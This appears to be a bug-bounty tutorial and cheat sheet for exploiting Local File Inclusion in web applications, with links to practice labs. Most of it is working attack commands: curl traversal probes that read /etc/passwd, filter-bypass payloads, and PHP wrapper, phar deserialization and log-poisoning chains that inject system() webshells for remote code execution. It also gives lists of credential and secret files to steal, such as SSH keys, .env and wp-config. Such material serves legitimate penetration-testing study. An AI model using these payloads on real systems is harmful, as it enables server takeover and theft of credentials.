Quick answer
LFI lets you read (and sometimes execute) arbitrary files on the server via a vulnerable inclusion parameter. The methodology: detect the sink (?file=, ?page=, ?view=, ?include=) → traverse with ../ + encoded variants → bypass filters (null byte, double encoding, UTF-8 overlong) → escalate to RCE via PHP wrappers, log poisoning, /proc/self/environ, or phar deserialization. Typical bounty for LFI → RCE: €2000-€10000.
Detection — which parameters to suspect
Any parameter that looks like it loads files or templates:
?file=home.html ?page=about ?view=profile
?include=header ?template=main ?lang=es
?doc=manual.pdf ?path=/img.png ?content=intro
Basic probe:
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
If the response contains root:x:0:0: → LFI confirmed.
Filter bypass — payload table
| Filter | Bypass | Example |
|---|---|---|
Strips simple ../ | Double dots | ....//....//etc/passwd |
Recursive .. strip | Mixed | ..././..././etc/passwd |
| URL decode once | Double encode | %252e%252e%252f (..%2f) |
Whitelist .png | Null byte (PHP < 5.3.4) | ../../etc/passwd%00.png |
| Whitelist absolute path | Force absolute | /var/www/html/../../etc/passwd |
| Strips slash | UTF-8 overlong | ..%c0%af..%c0%afetc%c0%afpasswd |
Appends .php | Path truncation | ../../etc/passwd/././. (×4096) |
Filters passwd | Wrappers | php://filter/convert.base64-encode/resource=/etc/passwd |
[!tip] When to try double encoding If the WAF decodes once before applying the regex, double encoding (
%252e%252e%252f) passes because the regex sees%2e%2e%2fnot../. The app decodes a second time when using the parameter → traversal works.
PHP wrappers — the gold ecosystem
PHP supports wrappers that change how the resource is accessed. They're the difference between LFI = info leak and LFI = RCE.
php://filter — base64 source disclosure
Reads the PHP source code without executing it:
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code
Useful for finding more LFIs, SQLi sinks, hardcoded creds.
data:// — inline code execution
If the data wrapper is enabled:
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"
expect:// — direct RCE
Requires the expect extension:
curl "https://target.com/index.php?file=expect://id"
phar:// — deserialization RCE
The most underrated. When a PHP sink calls file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() on a phar:// path, the .phar file is deserialized automatically. If the app has a class with a dangerous __destruct or __wakeup → RCE.
# Generate a malicious phar (PoC with gadget chain)
php -d phar.readonly=0 generate_phar.php
# Upload as avatar/image (content-type check passes)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"
[!danger] Phar deserialization It works even if the LFI endpoint only allows reads — deserialization happens during the file stat. PHP 8 keeps phar enabled by default. Real bounty with this chain: €5000-€15000.
Log poisoning — LFI to RCE without upload
If you control the content of a log the server writes, and you include that log via LFI → your payload executes as PHP.
Apache access.log
# Step 1: inject the payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"
SSH auth.log
# Step 1: SSH with a PHP username
ssh '<?php system($_GET["c"]); ?>'@target.com
# The login fails but it's logged in /var/log/auth.log
# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"
/proc/self/environ
# The injected User-Agent is reflected in the CGI process environ
curl "https://target.com/index.php?file=/proc/self/environ" \
-H "User-Agent: <?php system(\$_GET['c']); ?>"
Typical targets per OS
| Linux | Windows |
|---|---|
/etc/passwd | C:\Windows\win.ini |
/etc/shadow (needs root) | C:\boot.ini (legacy) |
/etc/hosts | C:\Windows\System32\drivers\etc\hosts |
/proc/self/environ | C:\xampp\apache\logs\access.log |
/proc/self/cmdline | C:\inetpub\logs\LogFiles\ |
/var/log/apache2/access.log | C:\Windows\Panther\Unattend.xml |
/home/<user>/.ssh/id_rsa | C:\Users\<user>\.ssh\id_rsa |
~/.bash_history | C:\Users\<user>\NTUSER.DAT |
.env, wp-config.php | web.config |
Real LFI → RCE chain (avatar + include)
A classic pattern in legacy PHP apps:
<?php include $_GET['view']; ?>
# 1. Upload an avatar with embedded PHP (content-type check passes)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>
# 2. The app saves it to a predictable path
# /var/www/html/uploads/avatars/USER_ID.jpg
# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE
Non-PHP stacks — the gotchas
LFI isn't exclusive to PHP. On Java, Node and Python it's usually read-only (no direct RCE), but the impact is still high.
| Stack | Typical sink | Escalation |
|---|---|---|
| Java/Spring | new File(input), Files.readAllBytes | Read application.properties, .jar with secrets |
| Node.js | fs.readFile(path.join(BASE, input)) | Read .env, source .js, configs |
| Python | open(input), pathlib.Path(input).read_text | Read .env, settings.py, Django SECRET_KEY |
| Go | os.ReadFile(input) | Read configs, certs |
[!warning] Path normalization desync Node + Bun have cases where the URL parser preserves
//butpath.join()collapses it. Result: string-based middleware (startsWith("/admin")) can be bypassed with//admin/secret. Always test//,\,%2f,%5con parameters that normalize paths.
Hunting checklist
- Identify all params with a path shape (
file=,view=,page=,include=) - Basic probe with
../../../../etc/passwd - If filtered: double encoding,
....//, null byte, UTF-8 overlong - PHP detected: try
php://filter/convert.base64-encode/resource=index.php - Phar available: generate a gadget chain and trigger with
phar:// - Log poisoning: inject the payload in User-Agent or SSH login
-
/proc/self/environto extract env vars (AWS keys, JWT secrets) - Source code disclosure → look for more LFIs, SQLi, hardcoded creds
- Combine with an arbitrary upload for end-to-end RCE
- Test on non-PHP stacks: read
.env,application.properties,.git/config
Related labs
Practice full LFI exploitation from basic traversal to RCE via phar and log poisoning in the LFI labs.
Practice this in a lab
Lfi Extraction
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
The PHP `phar://` wrapper trick that turns LFI into deserialization RCE without the endpoint accepting uploads — works in 70% of legacy PHP apps.
€7.99/mo · cancel anytime
Related articles
PHP class pollution — the PHP equivalent of Prototype Pollution
How PHP class pollution (via recursive merge / object instantiation with user input) produces deserialization-like RCE in Laravel, Symfony, WordPress apps without needing gadget chains.
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.
File Upload — extension, content-type and magic bytes bypasses
10 bypasses to upload webshells: double extension, null byte, content-type spoof, magic bytes, polyglots, race conditions and path traversal abuse.